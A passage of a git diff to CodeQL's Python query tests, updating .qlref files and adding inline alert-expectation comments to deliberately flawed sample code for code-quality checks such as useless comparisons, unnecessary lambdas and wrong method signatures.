+re.compile(b"[-0-9-]") # $ Alert[py/regex/duplicate-in-character-class] #Possible false positives re.compile(b"[S\S]") @@ -76,8 +76,8 @@ #Not OK -re.compile(br'(?<=foo)^\w+') -re.compile(br'\w+$(?=foo)') +re.compile(br'(?<=foo)^\w+') # $ Alert[py/regex/unmatchable-caret] +re.compile(br'\w+$(?=foo)') # $ Alert[py/regex/unmatchable-dollar] #OK -- ODASA-ODASA-3968 @@ -134,7 +134,7 @@ \[ # [ (?P
    [^]]+) # very permissive! \] # ] - """ + """ # $ Alert[py/regex/duplicate-in-character-class] # Compiled regular expression marking it as verbose ODASA_6786 = re.compile(VERBOSE_REGEX, re.VERBOSE) diff --git a/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref index ea8577e6f9fb..e26b890fde89 100644 --- a/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref +++ b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref @@ -1 +1,2 @@ -Expressions/NonCallableCalled.ql \ No newline at end of file +query: Expressions/NonCallableCalled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/callable/test.py b/python/ql/test/query-tests/Expressions/callable/test.py index 5498fba72926..e37daba131fb 100644 --- a/python/ql/test/query-tests/Expressions/callable/test.py +++ b/python/ql/test/query-tests/Expressions/callable/test.py @@ -13,9 +13,9 @@ def __call__(self): def call_non_callable(arg): non = NonCallable() - non(arg) - ()() - []() + non(arg) # $ Alert + ()() # $ Alert + []() # $ Alert dont_know = MaybeCallable() dont_know() # Not a violation ok = IsCallable() @@ -23,7 +23,7 @@ def call_non_callable(arg): if hasattr(non, "__call__"): non(arg) # OK due to guard if hasattr(non, "__init__"): - non(arg) # Not OK due to wrong guard + non(arg) # Not OK due to wrong guard # $ Alert import six @@ -44,7 +44,7 @@ def foo(): raise NotImplemented() def bar(): - return NotImplemented() + return NotImplemented() # $ Alert # FP due to decorator @@ -60,7 +60,7 @@ def __init__(self, arg): @some_decorator @classmethod def new_instance(cls, new_arg): - return cls(new_arg) # TODO: FP + return cls(new_arg) # TODO: FP # $ Alert f1 = Foo(1) f2 = f1.new_instance(2) diff --git a/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref index fb7f75f9f615..e022932acda4 100644 --- a/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref +++ b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref @@ -1 +1,2 @@ -Expressions/Comparisons/UselessComparisonTest.ql \ No newline at end of file +query: Expressions/Comparisons/UselessComparisonTest.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/comparisons/test.py b/python/ql/test/query-tests/Expressions/comparisons/test.py index aac73f4932eb..db0db60e2edf 100644 --- a/python/ql/test/query-tests/Expressions/comparisons/test.py +++ b/python/ql/test/query-tests/Expressions/comparisons/test.py @@ -3,16 +3,16 @@ def f(w, x, y, z): if x < 0 or z < 0: raise Exception() - if x >= 0: # Useless test due to x < 0 being false + if x >= 0: # Useless test due to x < 0 being false # $ Alert y += 1 - if z >= 0: # Useless test due to z < 0 being false + if z >= 0: # Useless test due to z < 0 being false # $ Alert y += 1 while w >= 0: if y < 10: z += 1 - if y == 15: # Useless test due to y < 10 being true + if y == 15: # Useless test due to y < 10 being true # $ Alert z += 1 - elif y > 7: # Useless test + elif y > 7: # Useless test # $ Alert y -= 1 if y < 10: y += 1 @@ -24,10 +24,10 @@ def f(w, x, y, z): def g(w, x, y, z): if w < x or y < z+2: raise Exception() - if w >= x: # Useless test due to w < x being false + if w >= x: # Useless test due to w < x being false # $ Alert pass if cond: - if z > y-2: # Useless test due to y < z+2 being false + if z > y-2: # Useless test due to y < z+2 being false # $ Alert y += 1 else: if z >= y-2: # Not a useless test. @@ -46,7 +46,7 @@ def validate_series(start, end): def medium1(x, y): if x + 1000000000000000 > y + 1000000000000000: return - if x > y: # Redundant + if x > y: # Redundant # $ Alert pass def medium2(x, y): @@ -70,19 +70,19 @@ def big2(x, y): def odasa6782_v1(protocol): if protocol < 0: protocol = HIGHEST_PROTOCOL - elif not 0 <= protocol: + elif not 0 <= protocol: # $ Alert raise ValueError() def odasa6782_v2(protocol): if protocol < 0: protocol = HIGHEST_PROTOCOL - elif not 0 <= protocol <= HIGHEST_PROTOCOL: + elif not 0 <= protocol <= HIGHEST_PROTOCOL: # $ Alert raise ValueError() def odasa6782_v3(protocol): if protocol < 0: protocol = HIGHEST_PROTOCOL - elif 0 <= protocol <= HIGHEST_PROTOCOL: + elif 0 <= protocol <= HIGHEST_PROTOCOL: # $ Alert pass else: raise ValueError() diff --git a/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref index 73123cf76281..df847ee2b1bb 100644 --- a/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref +++ b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref @@ -1 +1,2 @@ -Expressions/IncorrectComparisonUsingIs.ql +query: Expressions/IncorrectComparisonUsingIs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref index 13c08534293c..a62a6a40f60d 100644 --- a/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref +++ b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref @@ -1 +1,2 @@ -Expressions/NonPortableComparisonUsingIs.ql +query: Expressions/NonPortableComparisonUsingIs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/eq/expressions_test.py b/python/ql/test/query-tests/Expressions/eq/expressions_test.py index 3489bf3a1a94..632616583c39 100644 --- a/python/ql/test/query-tests/Expressions/eq/expressions_test.py +++ b/python/ql/test/query-tests/Expressions/eq/expressions_test.py @@ -43,12 +43,12 @@ def meth(self): #Using 'is' when should be using '==' s = "Hello " + "World" -if "Hello World" is s: +if "Hello World" is s: # $ Alert[py/comparison-using-is] print ("OK") #This is OK in CPython, but may not be portable s = str(7) -if "7" is s: +if "7" is s: # $ Alert[py/comparison-using-is-non-portable] print ("OK") #And some data flow diff --git a/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref b/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref index 0e2ab115eeec..5b5160d860d5 100644 --- a/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref +++ b/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref @@ -1 +1,2 @@ -Expressions/CompareConstants.ql +query: Expressions/CompareConstants.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref index 4bc0ec69fc04..ad4cbb7600e8 100644 --- a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref @@ -1 +1,2 @@ -Expressions/CompareIdenticalValues.ql +query: Expressions/CompareIdenticalValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref index f19a0dee4364..48f4d302afba 100644 --- a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref @@ -1 +1,2 @@ -Expressions/CompareIdenticalValuesMissingSelf.ql \ No newline at end of file +query: Expressions/CompareIdenticalValuesMissingSelf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref index 71df405e72c1..b52c39ed26d2 100644 --- a/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref +++ b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref @@ -1 +1,2 @@ -Expressions/ContainsNonContainer.ql +query: Expressions/ContainsNonContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref index a1bb71098829..23123f187490 100644 --- a/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref +++ b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref @@ -1 +1,2 @@ -Expressions/DuplicateKeyInDictionaryLiteral.ql \ No newline at end of file +query: Expressions/DuplicateKeyInDictionaryLiteral.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref b/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref index 8d9699258e25..026a3f5bbc2f 100644 --- a/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref +++ b/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref @@ -1 +1,2 @@ -Expressions/EqualsNone.ql \ No newline at end of file +query: Expressions/EqualsNone.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref index 83e92584ef27..fd322b848dca 100644 --- a/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref +++ b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref @@ -1 +1,2 @@ -Expressions/ExpectedMappingForFormatString.ql \ No newline at end of file +query: Expressions/ExpectedMappingForFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref index 932f1a3d366d..451bd74eee0e 100644 --- a/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref +++ b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref @@ -1 +1,2 @@ -Expressions/ExplicitCallToDel.ql \ No newline at end of file +query: Expressions/ExplicitCallToDel.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref index ee53e3674999..f30fd92870f0 100644 --- a/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref +++ b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref @@ -1 +1,2 @@ -Expressions/HashedButNoHash.ql \ No newline at end of file +query: Expressions/HashedButNoHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref index 49b3873f83ce..9141c5e49a65 100644 --- a/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref +++ b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref @@ -1 +1,2 @@ -Expressions/UnnecessaryLambda.ql \ No newline at end of file +query: Expressions/UnnecessaryLambda.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref index 3cb459229e4a..8e50b947401e 100644 --- a/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref +++ b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref @@ -1 +1,2 @@ -Expressions/UnsupportedFormatCharacter.ql \ No newline at end of file +query: Expressions/UnsupportedFormatCharacter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref index 0d127e1b618b..744334a6aeb1 100644 --- a/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref +++ b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref @@ -1 +1,2 @@ -Expressions/WrongNumberArgumentsForFormat.ql \ No newline at end of file +query: Expressions/WrongNumberArgumentsForFormat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/general/compare.py b/python/ql/test/query-tests/Expressions/general/compare.py index 141b5e6a0286..c48e06f4b1ca 100644 --- a/python/ql/test/query-tests/Expressions/general/compare.py +++ b/python/ql/test/query-tests/Expressions/general/compare.py @@ -5,12 +5,12 @@ a.x == b.x #Same variables -a == a -a.x == a.x +a == a # $ Alert[py/comparison-of-identical-expressions] +a.x == a.x # $ Alert[py/comparison-of-identical-expressions] #Compare constants -1 == 1 -1 == 2 +1 == 1 # $ Alert[py/comparison-of-constants] +1 == 2 # $ Alert[py/comparison-of-constants] #Maybe missing self class X(object): @@ -19,7 +19,7 @@ def __init__(self, x): self.x = x def missing_self(self, x): - if x == x: + if x == x: # $ Alert[py/comparison-missing-self] print ("Yes") #Compare constants in assert -- ok diff --git a/python/ql/test/query-tests/Expressions/general/expressions_test.py b/python/ql/test/query-tests/Expressions/general/expressions_test.py index 5e07b58e2041..71e0d1ba7cf0 100644 --- a/python/ql/test/query-tests/Expressions/general/expressions_test.py +++ b/python/ql/test/query-tests/Expressions/general/expressions_test.py @@ -1,16 +1,16 @@ #encoding: utf-8 def dup_key(): - return { 1: -1, + return { 1: -1, # $ Alert[py/duplicate-key-dict-literal] 1: -2, - u'a' : u'A', + u'a' : u'A', # $ Alert[py/duplicate-key-dict-literal] u'a' : u'B' } def simple_func(*args, **kwrgs): pass #Unnecessary lambdas -lambda arg0, arg1: simple_func(arg0, arg1) -lambda arg0, *arg1: simple_func(arg0, *arg1) -lambda arg0, **arg1: simple_func(arg0, **arg1) +lambda arg0, arg1: simple_func(arg0, arg1) # $ Alert[py/unnecessary-lambda] +lambda arg0, *arg1: simple_func(arg0, *arg1) # $ Alert[py/unnecessary-lambda] +lambda arg0, **arg1: simple_func(arg0, **arg1) # $ Alert[py/unnecessary-lambda] # these lambdas are_ necessary lambda arg0, arg1=1: simple_func(arg0, arg1) lambda arg0, arg1: simple_func(arg0, *arg1) @@ -34,12 +34,12 @@ def call_non_callable(arg): dont_know() # Not a violation #Explicit call to __del__ -x.__del__() +x.__del__() # $ Alert[py/explicit-call-to-delete] #Unhashable object def func(): mapping = dict(); unhash = list() - return mapping[unhash] + return mapping[unhash] # $ Alert[py/hash-unhashable-value] #Using 'is' when should be using '==' s = "Hello " + "World" @@ -86,9 +86,9 @@ def next(self): def non_container(): seq = XIter() - if 1 in seq: + if 1 in seq: # $ Alert[py/member-test-non-container] pass - if 1 not in seq: + if 1 not in seq: # $ Alert[py/member-test-non-container] pass #Container inheriting from builtin @@ -112,7 +112,7 @@ def is_container(): #Equals none def x(arg): - return arg == None + return arg == None # $ Alert[py/test-equals-none] class NotMyDict(object): @@ -130,7 +130,7 @@ def __del__(self): # This is permitted and required. Test.__del__(self) # This is a violation. - self.__del__() + self.__del__() # $ Alert[py/explicit-call-to-delete] # This is an alternate syntax for the super() call, and hence OK. super(SubTest, self).__del__() # This is the Python 3 spelling of the same. @@ -138,15 +138,15 @@ def __del__(self): #Some more lambdas #Unnecessary lambdas -lambda arg0: len(arg0) -lambda arg0: XIter.next(arg0) +lambda arg0: len(arg0) # $ Alert[py/unnecessary-lambda] +lambda arg0: XIter.next(arg0) # $ Alert[py/unnecessary-lambda] class UL(object): def f(self, x): pass def g(self): - return lambda x: self.f(x) + return lambda x: self.f(x) # $ Alert[py/unnecessary-lambda] # these lambdas are necessary lambda arg0: XIter.next(arg0, arg1) diff --git a/python/ql/test/query-tests/Expressions/general/str_fmt_test.py b/python/ql/test/query-tests/Expressions/general/str_fmt_test.py index e941b842c319..f7441ef9a8ad 100644 --- a/python/ql/test/query-tests/Expressions/general/str_fmt_test.py +++ b/python/ql/test/query-tests/Expressions/general/str_fmt_test.py @@ -2,16 +2,16 @@ def expected_mapping_for_fmt_string(): x = [ u'list', u'not', u'mapping' ] - print (u"%(name)s" % x) + print (u"%(name)s" % x) # $ Alert[py/percent-format/not-mapping] def unsupported_format_char(arg): - print (u"%Z" % arg) + print (u"%Z" % arg) # $ Alert[py/percent-format/unsupported-character] def wrong_arg_count_format(arg): - print(u"%s %s" % (arg, arg, 0)) + print(u"%s %s" % (arg, arg, 0)) # $ Alert[py/percent-format/wrong-arguments] format = u"%hd" args = (1, u'foo') - print(format % args) + print(format % args) # $ Alert[py/percent-format/wrong-arguments] def ok(): diff --git a/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref index c305fd129f8b..7159e5c79721 100644 --- a/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref +++ b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref @@ -1 +1,2 @@ -Expressions/UnintentionalImplicitStringConcatenation.ql \ No newline at end of file +query: Expressions/UnintentionalImplicitStringConcatenation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/strings/test.py b/python/ql/test/query-tests/Expressions/strings/test.py index 15b3c9216e33..1767a2d109be 100644 --- a/python/ql/test/query-tests/Expressions/strings/test.py +++ b/python/ql/test/query-tests/Expressions/strings/test.py @@ -15,13 +15,13 @@ def test(): error1 = [ "foo", "/usr/local" - "/usr/bin" + "/usr/bin" # $ Alert ] error2 = [ "foo" + "bar", "/usr/local" - "/usr/bin" + "/usr/bin" # $ Alert ] #Examples from documentation @@ -31,9 +31,9 @@ def unclear(): return [ "first part of long string" - " and the second part", + " and the second part", # $ Alert "/usr/local" - "/usr/bin" + "/usr/bin" # $ Alert ] def clarified(): diff --git a/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref index c3beeaede04b..e1ed0c122bea 100644 --- a/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref +++ b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref @@ -1 +1,2 @@ -Expressions/CallToSuperWrongClass.ql \ No newline at end of file +query: Expressions/CallToSuperWrongClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/super/test.py b/python/ql/test/query-tests/Expressions/super/test.py index e2e667cd25d7..947bc3814b2a 100644 --- a/python/ql/test/query-tests/Expressions/super/test.py +++ b/python/ql/test/query-tests/Expressions/super/test.py @@ -7,7 +7,7 @@ class MyDict(dict): class NotMyDict(object): def f(self): - super(MyDict, self).f() + super(MyDict, self).f() # $ Alert #Splitting PY2 = sys.version_info[0] == 2 diff --git a/python/ql/test/query-tests/Functions/ModificationOfParameterWithDefault/ModificationOfParameterWithDefault.qlref b/python/ql/test/query-tests/Functions/ModificationOfParameterWithDefault/ModificationOfParameterWithDefault.qlref index 8c4044e8feeb..e8937358e32f 100644 --- a/python/ql/test/query-tests/Functions/ModificationOfParameterWithDefault/ModificationOfParameterWithDefault.qlref +++ b/python/ql/test/query-tests/Functions/ModificationOfParameterWithDefault/ModificationOfParameterWithDefault.qlref @@ -1 +1 @@ -Functions/ModificationOfParameterWithDefault.ql +query: Functions/ModificationOfParameterWithDefault.ql diff --git a/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref index c38b8d1f7619..3043411c1ce4 100644 --- a/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref +++ b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref @@ -1 +1,2 @@ -Functions/DeprecatedSliceMethod.ql \ No newline at end of file +query: Functions/DeprecatedSliceMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref index a23550c48650..df13334dcbf5 100644 --- a/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref +++ b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref @@ -1 +1,2 @@ -Functions/ExplicitReturnInInit.ql \ No newline at end of file +query: Functions/ExplicitReturnInInit.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref b/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref index a3df140ff1e6..2662a7ca03a3 100644 --- a/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref +++ b/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref @@ -1 +1,2 @@ -Functions/InitIsGenerator.ql \ No newline at end of file +query: Functions/InitIsGenerator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref index 3d0965f7b115..14655b261d42 100644 --- a/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref +++ b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref @@ -1 +1 @@ -Functions/IterReturnsNonIterator.ql +query: Functions/IterReturnsNonIterator.ql diff --git a/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref index 601501aac303..90dba842c0e7 100644 --- a/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref +++ b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref @@ -1 +1,2 @@ -Functions/OverlyComplexDelMethod.ql +query: Functions/OverlyComplexDelMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref index a306477b3b48..5470a05e0e41 100644 --- a/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref +++ b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref @@ -1 +1,2 @@ -Functions/SignatureOverriddenMethod.ql +query: Functions/SignatureOverriddenMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref index bc1b29b6c0d0..ab188ef5bc28 100644 --- a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref +++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref @@ -1 +1,2 @@ -Functions/SignatureSpecialMethods.ql \ No newline at end of file +query: Functions/SignatureSpecialMethods.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/general/explicit_return_in_init.py b/python/ql/test/query-tests/Functions/general/explicit_return_in_init.py index 47a2933ad6ef..9024b13aa786 100644 --- a/python/ql/test/query-tests/Functions/general/explicit_return_in_init.py +++ b/python/ql/test/query-tests/Functions/general/explicit_return_in_init.py @@ -1,7 +1,7 @@ class ExplicitReturnInInit(object): def __init__(self): - return self + return self # $ Alert[py/explicit-return-in-init] # These are OK class ExplicitReturnNoneInInit(object): @@ -29,7 +29,7 @@ def __init__(self): class InitIsGenerator(object): - def __init__(self): + def __init__(self): # $ Alert[py/init-method-is-generator] yield self # OK as it returns result of a call to super().__init__() @@ -99,4 +99,4 @@ def __init__(self, b): p = procedure_implicit_none() else: p = not_ok - return p() + return p() # $ Alert[py/explicit-return-in-init] diff --git a/python/ql/test/query-tests/Functions/general/functions_test.py b/python/ql/test/query-tests/Functions/general/functions_test.py index 741599abd5b0..a306ef8ccc82 100644 --- a/python/ql/test/query-tests/Functions/general/functions_test.py +++ b/python/ql/test/query-tests/Functions/general/functions_test.py @@ -92,13 +92,13 @@ def ok_to_ignore(): class DeprecatedSliceMethods(object): - def __getslice__(self, start, stop): + def __getslice__(self, start, stop): # $ Alert[py/deprecated-slice-method] pass - def __setslice__(self, start, stop, value): + def __setslice__(self, start, stop, value): # $ Alert[py/deprecated-slice-method] pass - def __delslice__(self, start, stop): + def __delslice__(self, start, stop): # $ Alert[py/deprecated-slice-method] pass diff --git a/python/ql/test/query-tests/Functions/general/om_test.py b/python/ql/test/query-tests/Functions/general/om_test.py index 959ed6bfe348..edaa81bd0628 100644 --- a/python/ql/test/query-tests/Functions/general/om_test.py +++ b/python/ql/test/query-tests/Functions/general/om_test.py @@ -29,10 +29,10 @@ def ok1(self, arg1, arg2 = 2): def ok2(self, arg1, arg2 = 2, arg3 = 3): return arg1, arg2, arg3 - def grossly_wrong1(self, arg1): + def grossly_wrong1(self, arg1): # $ Alert[py/inheritance/signature-mismatch] return arg1 - def grossly_wrong2(self, arg1, arg2, arg3): + def grossly_wrong2(self, arg1, arg2, arg3): # $ Alert[py/inheritance/signature-mismatch] return arg1, arg2, arg3 def strictly_wrong1(self, arg1): @@ -56,19 +56,19 @@ def __str__(self): class WrongSpecials(object): - def __div__(self, x, y): + def __div__(self, x, y): # $ Alert[py/special-method-wrong-signature] return self, x, y - def __mul__(self): + def __mul__(self): # $ Alert[py/special-method-wrong-signature] return self - def __neg__(self, other): + def __neg__(self, other): # $ Alert[py/special-method-wrong-signature] return self, other - def __exit__(self, arg0, arg1): + def __exit__(self, arg0, arg1): # $ Alert[py/special-method-wrong-signature] return arg0 == arg1 - def __repr__(): + def __repr__(): # $ Alert[py/special-method-wrong-signature] return "" def __add__(self, other="Unused default"): @@ -80,7 +80,7 @@ def __abs__(): class OKSpecials(object): - def __del__(): + def __del__(): # $ Alert[py/special-method-wrong-signature] state = some_state() def __del__(self): diff --git a/python/ql/test/query-tests/Functions/general/protocols.py b/python/ql/test/query-tests/Functions/general/protocols.py index dd12fc3ed40f..68f0aaf29c09 100644 --- a/python/ql/test/query-tests/Functions/general/protocols.py +++ b/python/ql/test/query-tests/Functions/general/protocols.py @@ -71,7 +71,7 @@ def __iter__(self): class MegaDel(object): - def __del__(self): + def __del__(self): # $ Alert[py/overly-complex-delete] a = self.x + self.y if a: print(a) diff --git a/python/ql/test/query-tests/Functions/iterators/IterReturnsNonSelf.qlref b/python/ql/test/query-tests/Functions/iterators/IterReturnsNonSelf.qlref index b806215d26c8..828fca864dae 100644 --- a/python/ql/test/query-tests/Functions/iterators/IterReturnsNonSelf.qlref +++ b/python/ql/test/query-tests/Functions/iterators/IterReturnsNonSelf.qlref @@ -1 +1,2 @@ -Functions/IterReturnsNonSelf.ql \ No newline at end of file +query: Functions/IterReturnsNonSelf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/iterators/test.py b/python/ql/test/query-tests/Functions/iterators/test.py index ced389967e41..6244f5dc10b6 100644 --- a/python/ql/test/query-tests/Functions/iterators/test.py +++ b/python/ql/test/query-tests/Functions/iterators/test.py @@ -2,7 +2,7 @@ class Bad1: def __next__(self): return 0 - def __iter__(self): # BAD: Iter does not return self + def __iter__(self): # BAD: Iter does not return self # $ Alert yield 0 class Good1: @@ -48,6 +48,6 @@ def __next__(self): self._it = iter(self) return next(self._it) - def __iter__(self): # SPURIOUS, GOOD: implementation of next ensures the iterator is equivalent to the one returned by iter, but this is not detected. + def __iter__(self): # SPURIOUS, GOOD: implementation of next ensures the iterator is equivalent to the one returned by iter, but this is not detected. # $ Alert yield 0 yield 0 \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref index d1637c1f1d37..9d5a8324c796 100644 --- a/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref @@ -1 +1,2 @@ -Functions/IncorrectlyOverriddenMethod.ql \ No newline at end of file +query: Functions/IncorrectlyOverriddenMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref index 8a07cb1297ea..258840b2fc43 100644 --- a/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref @@ -1 +1,2 @@ -Functions/IncorrectlySpecifiedOverriddenMethod.ql \ No newline at end of file +query: Functions/IncorrectlySpecifiedOverriddenMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref index 3599f204f55e..c6b6ca3d30fa 100644 --- 